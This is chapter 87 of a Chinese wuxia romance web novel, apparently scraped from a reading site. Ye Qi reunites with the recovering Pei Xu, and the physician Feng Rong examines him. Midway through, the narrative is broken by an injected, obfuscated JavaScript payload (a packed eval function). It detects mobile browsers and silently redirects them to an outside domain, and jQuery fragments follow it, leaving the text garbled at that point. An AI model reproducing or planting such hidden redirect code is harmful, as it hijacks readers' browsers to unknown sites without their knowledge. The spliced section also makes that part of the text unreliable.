87. 重逢

作品:《和死对头中蛊后

    叶起打开锅盖的时候,扑面而来的香气,消散了心中怨念。


    难道真给老头子说着了?换种食材就能成功?


    小院充斥着肉香,满满一大盆鸡汤摆在石桌,鸡肉绵软烂乎,香气扑鼻令人食指大动。


    丰荣接过小义递来的碗筷,得意道:“我说什么来着!”


    叶起刚才那一顿哭,现在还眼睛胀痛,但不妨碍翻了大大个白眼。


    要是真好吃,老头明天肯定还要她杀。


    想到这,叶起打了个激灵,赶紧摇摇头,试图忘记那条鸡诡异的目光。


    明天的事明天再考虑,事已至此,先吃饭吧!


    食物能抚慰人心,闻起来就香的食物,还没吃就已经达到了这种效果。


    三人心潮彭拜,也不矜持了,筷子和勺齐下锅,各顾各的给自己碗里盛满汤和肉。


    天上白云几朵,小院清风拂过。


    院内温馨的气氛像是三世同堂。


    丰荣淡笑着端起碗,喝完一口汤沉默了。


    小义乌瞳微亮夹起鸡腿肉,嚼了两下沉默了。


    没听到虚假的夸赞,叶起眼睛一亮,端起碗猛喝一口。


    她沉默了。


    叶起满眼不敢置信又吃了一口肉,沉默震耳欲聋。


    她震惊地看向那锅鸡。


    这个味道分明是——上官名的宫廷秘方!


    丰荣放下筷子,捋着胡子感慨道:“能将她的吉祥如意汤还原到这般地步,你出师了。”


    叶起“啪”地拍下筷子,面无表情站起身。


    谁要出这种师!


    余光见小义一脸痛苦,叶起仿佛看到了当初的自己,顿时心生怜惜。


    “小义啊,咱们去灶上先热俩馒头吃。垫饱肚子才有力气吃鸡。”


    小义跳下石凳,逃也似的跟着叶起进了厨房。


    等两人吃完馒头,满脸英勇就义准备开吃时,丰荣已经把那一锅鸡连汤带肉全吃干净了。


    鸡骨头撒了一地,老头剔着牙,脸上还有点意犹未尽的遗憾。


    叶起目光复杂,暗叹狠人狠人,连毒鸡都能吃得这么美味。


    午饭后,丰荣在屋里研究药材,整个下午门也不开。


    小义有午睡的习惯。


    两人一回屋,小院顿时安静下来。


    叶起伸了个懒腰,打算歇一会就去山洞,好久没见他,心里总惦记着会影响下厨。


    她找来两张破木椅,往榕树下一拼,面对着山林野草靠在椅背上,一脚踩着扶手,另一条腿垂在旁边慢悠悠地晃动,仰起脸眯着眼,阳光被树叶分割成不规则的光斑,跃动时像是珍珠宝钻,偶尔一阵风过,沙沙轻响。


    做饭比练刀累,这几天又连轴转,不过一会儿,积压的疲惫一股脑袭来。


    叶起困得不行又惦记着要去山洞,内心正在挣扎,眼皮子沉得快要合上时,突然听到有人在叫她的名字。


    “叶……起……”


    叶起以为自己睡着了,所以才会梦到裴序的声音。


    要是睡着了,哪还有时间去找他!


    她吓得使劲睁开眼,可那道声音并没有消失,反而更近了。


    “叶起。”


    叶起猛地坐起身。


    三尺之外,百花齐放。


    蓝天和绿草之间,一人长身玉立。


    那人微微喘着气,汗珠沿着眉眼滑落,冲她轻轻笑了笑。


    “我走不动了。”


    话音刚落,他双腿软下来,直直向前倒去。


    叶起蹬着椅子飞扑,一头冲过去,急切地伸出双手。


    她跪在地上,膝盖生疼,感受到熟悉的拥抱,眼眸一弯,泪水扑簌簌往下掉。


    “裴序!”


    裴序收紧双臂,脸蹭着叶起的脸,她的发丝调皮地抚过来,草木清香带着阳光的味道,生机勃勃。


    他眼眶微热,极轻极轻地“嗯”了一声。


    两人都哽咽着,紧紧地抱住彼此,手不断在对方的背部摩挲,脸颊小心翼翼地蹭着彼此。


    像是在用整个身体确认怀里的人是否真实存在。


    千言难述,情多失语。


    直到鼻尖碰到一起,叶起透过模糊的视线,看到一双狭长的凤眸,眼尾垂下来,盈满泪光。


    她忍不住吻向那片泪,便听到他的呼吸急促起来,叶起脸颊微红,迎着追来的湿软,缓缓张开嘴。


    直到舌头发疼,脑袋发晕,腰间的双臂箍得人快透不过气,她开始怀疑这人刚才倒下来,根本是在演戏。


    这不是很有力气嘛!


    看来身体已经无碍。


    但是老头子说过最少也要一个月,他醒得这么早正常吗?


    叶起心下一凛,艰难地偏过头,见裴序还要继续,赶忙抵住他,道:“别吃了!先去见丰前辈。”


    她一脸严肃,好像再吻下去真的会生气。


    裴序垂下眼,无奈地叹了口气,缓缓埋向她的颈窝。


    脖颈下的血管轻轻跳动,温热,充满生机,他忍不住吻向那处,不轻不重地咬了下,哑声道:“我没事。”


    哪怕再死一次,也已无憾。


    叶起身子一颤,只觉得脖子都要烧起来了。


    为什么亲脖子会比吃舌头还叫人……


    她倏地站起身,扶住裴序就往小院走,低着头脚步又慌乱,险些撞上榕树。


    裴序赶忙揽住叶起的腰,帮着她转个身躲开了树。


    上一刻柔肠百结死而无憾,下一瞬哭笑不得万般无奈。


    这人慌不择路的样子实在少见,起了心想逗逗她,却见她满脸通红,眼里的羞涩快要滴出泪来,明明想跑,手还紧紧握着他不愿放开。


    心顿时软得不成样子。


    裴序捏了捏叶起的手心,柔声道:“醒来就有些渴,在下想向叶少侠讨碗水喝。”


    正是慌乱无措心乱如麻,连手脚都不知该如何摆放,这句话一出,人生仿佛都有了方向。


    叶起眼睛一亮,中气十足道了个“好!”,拔腿就往厨房跑。


    裴序慢慢跟着,看着前方连蹦带跳的背影,心里一阵阵软一阵阵酸。


    仿佛无数岁月倏然而过,才再度看到她生机勃勃的样子。


    他茫然地仰起头,阳光绚烂便如那一日,却不再灼热得令人麻木。


    所有的疼痛和疲惫如同做了一场梦,连她中毒后的绝望和悲恸,也不过是她跳下骆驼时,因为求而不得所产生的幻觉。


    一切都……恍如隔世。


    叶起一进厨房先洗了把脸,借着水将脸拍得“啪啪”响,抬起袖子胡乱擦了擦,又赶紧找了个干净的碗,舀完水急急忙忙就往外跑。


    刚踏进院子,叶起脚步一顿。


    银叶菊洁白无暇,开满院子便像落了层雪。


    裴序墨发白衣,立身雪中,转身后怔了怔,片刻后,仿佛才认出了她,清冷的眉眼缓缓荡开笑意,一如春风化雪。


    叶起鼻子一酸,快步上前,将碗递过去,等喝完水,边问裴序怎么找到这的,边牵着他去找丰荣。


    药房,甘草药材散落满地,书籍凌乱地堆放在案桌。


    丰荣盘腿坐在案桌后,一手按住枯黄的书页,看了两行,拿起药材轻嗅比对,又皱着眉苦思片刻,再挥笔写下两三个字。


    “生地黄、山茱萸、白术,炽火草……”


    丰荣眉头紧锁,紧紧盯着书,似是要将书页看出个洞,良久,紧皱的眉心有一丝松动。


    “如果能有雪莲根,倒是可以一试……”


    “笃笃笃!”


    丰荣合上书,烦躁地站起身,鞋也不穿,直越过桌椅,冲到门前推开就骂。


    “死丫头我是不是说……”


    丰荣声音顿住,眯起眼睛打量叶起身旁的人。


    裴序拱手一拜,恭声道:“丰前辈。”


    从在洞中醒来,他就猜到,定是这位前辈于心不忍,将他救了回来。


    “他提前这么多天醒过来,身体真的不要紧吗?”见丰荣光是盯着裴序不说话,叶起心里一慌,更着急了,“是不是得继续躺着?姓裴的,我背你回山洞!”


    丰荣啧一声,骂道:“回你个头!”说完拂袖转身,“进来。”


    风干的花草悬在墙壁,窗外吹来一阵风,轻轻晃动。


    微苦的药味随风飘散,提神醒脑。


    丰荣闭着眼,三指搭在裴序右手手腕,时而拧眉时而叹气。


    叶起急得直转圈,恨不得扒开丰荣的头盖骨,看看里边到底在想什么。


    半晌,丰荣缓缓睁开眼,嗤笑一声。


    “臭小子,算你底子好。白日可以活动活动筋骨,晚上回山洞躺着。如此这般,七天后大抵就能完全恢复。”


    “不愧是医仙!神医妙手,杏林翘楚!再世华佗也不过如此!”叶起激动地跳起来,好话一连串往外蹦,直夸得老头脸热,故作自然地摆摆手。


    “这都是小意思。”


    裴序望着生龙活虎的人,眉眼柔和,对着丰荣长揖到底,郑重道:“前辈大恩,裴序铭感五内,定会……”<


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15570292|165803||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    p>叶起一听这话,也顾不得拍马屁了,赶忙阻止道:“我已经跟丰前辈说过,咱俩的恩包在我身上!定会好好报答的。”


    不能让姓裴的落入这臭脾气老头手里。他性子好,不像她会耍赖,到时天天被老头敲脑袋,再聪明也得变傻!


    裴序顿住,“咱俩”在舌尖绕了一圈,沿着唇齿滑入喉咙,落在心上。他抬起手将叶起鬓边一缕发抿到耳后,抚着她的脸,轻声道:“那就辛苦叶少侠。”


    “才不辛苦。”叶起摇摇头,拉下他的手握住,小声问着,“走这么远累不累?”


    裴序张开五指,扣进她的掌心,眼眸微弯:“想着你,就不累。”


    叶起脸颊泛红,眼睫低垂。


    花香随风飘来,搅乱一室苦涩的药味,醉人迤逦。


    丰荣:“……都滚出去!再敢碍我的眼,统统扔进玉蟾泉!”


    用上轻功,三十个数内,就能从山洞到这打个来回,有什么可累的!


    上官也是,干嘛要收对相好做徒儿!


    夜色降临,小院内星光熠熠。


    丰荣身子前倾,一手端碗,一手举筷,扫遍满桌山珍海味,时不时还跟小义抢一下糖醋鱼块、红烧鸡腿,他边扒饭边感慨。


    终于不用忍受死丫头的毒药了,还是上官有福,到哪找的这么会做饭的徒儿。


    大饱口福,人就满足,满足之后,便想找人唠两句。


    丰荣也起了闲心。


    他年轻时就是块暴炭,虽然武功平平,但医术奇高,到哪都被人捧着敬着,于是养成了谁都瞧不上的性子。


    也就是后来遇到两个不惯着他的好友,性情才稍微收敛些。


    如今美餐一顿,对着的又是好友的徒儿,再加上许久未这般开怀畅饮过,丰荣便觉自己可以稍微“降贵纡尊”,和他们闲聊起来。


    聊没几句,就见那俩跟连体婴似的,一个去泡茶,另一个都要跟着递茶具,手牵在一起就没撒开过,眼珠子就差掉出来贴在对方脸上。


    连小义都用眼神询问他,是不是这俩提到的长相守根本没解开。


    丰荣嘴角抽动,闲聊的心彻底歇了。


    年少时就要忍受那两个人,没想到老了还得忍受他们的徒儿。


    就冲这黏糊劲,未来几天若要一直忍受,还不如直接跳进玉蟾泉!


    沏完一大壶丰荣特地配的养生五子茶,叶起挨着裴序坐,拉过他的手放在膝上,垂着头细细把玩。


    五指修长,骨节分明,掌心和指腹一层薄薄的剑茧,摸过去痒痒地,指甲修剪得圆润光洁,还有洁白饱满的小月牙,月光下莹润得像是玉。


    让人想亲一亲。


    突如其来的念头吓得叶起慌乱松开手,石桌上放着四只大碗,盛满凉茶,她抓起一碗,吨吨吨喝了个干净,心里盘旋着无数个念头。


    自己这色心真是越来越奇怪。


    但也不能怪她,都是姓裴的长得好,连手都这么好看。


    可还是不能亲,他有洁癖,定要嫌弃她。


    茶水凉丝丝地,舌尖却隐隐发热,叶起转念一想,既然连舌头都能吃,或许也不会嫌……


    正在这时,从旁伸来一只手,将她的五指分开交错握住。


    “怎么不玩了?”


    叶起耳根发热,快速地看了一眼带笑的凤眸,心虚地低下头,讷讷道:“玩好了。”


    小义趴在石桌的另一边,双手撑着下巴,仔细地观察对面两个人,乌溜溜的眼睛满是好奇。


    一会这个脸红,一会那个耳朵红,比药圃里的花变得快多了,真是有意思。


    “咳咳!”


    一阵刻意的咳嗽,两大一小齐齐转过头。


    “‘业精于勤,荒于嬉’你们既然身体已无大碍,习武之人最怕武学懈怠。尤其还学了她的武功,更是不能荒废。以后每日起码要练两个时辰。不然招式和身法都生疏了,遇上个三脚猫也能把你们揍个鼻青脸肿,那才丢了刀鬼和剑神的脸。”


    丰荣捋着胡子,语重心长,眼神都透着股慈爱。


    这话说的没错,裴序恭声应着,叶起却打了个激灵,浑身的不自在。


    老头子还是骂人的时候顺眼些,谆谆善诱的样子简直比她的色心还奇怪。


    “哦,对了。”丰荣仰头喝了茶,突然伸指点了点叶起,一脸郑重其事,“封脉之后十四日不能运转内息,你练练招式就行,别调动真气。知道了吗?”


    叶起瞬间脸色大变。


    裴序眉心微蹙,疑惑道:“敢问丰前辈,何为封脉?”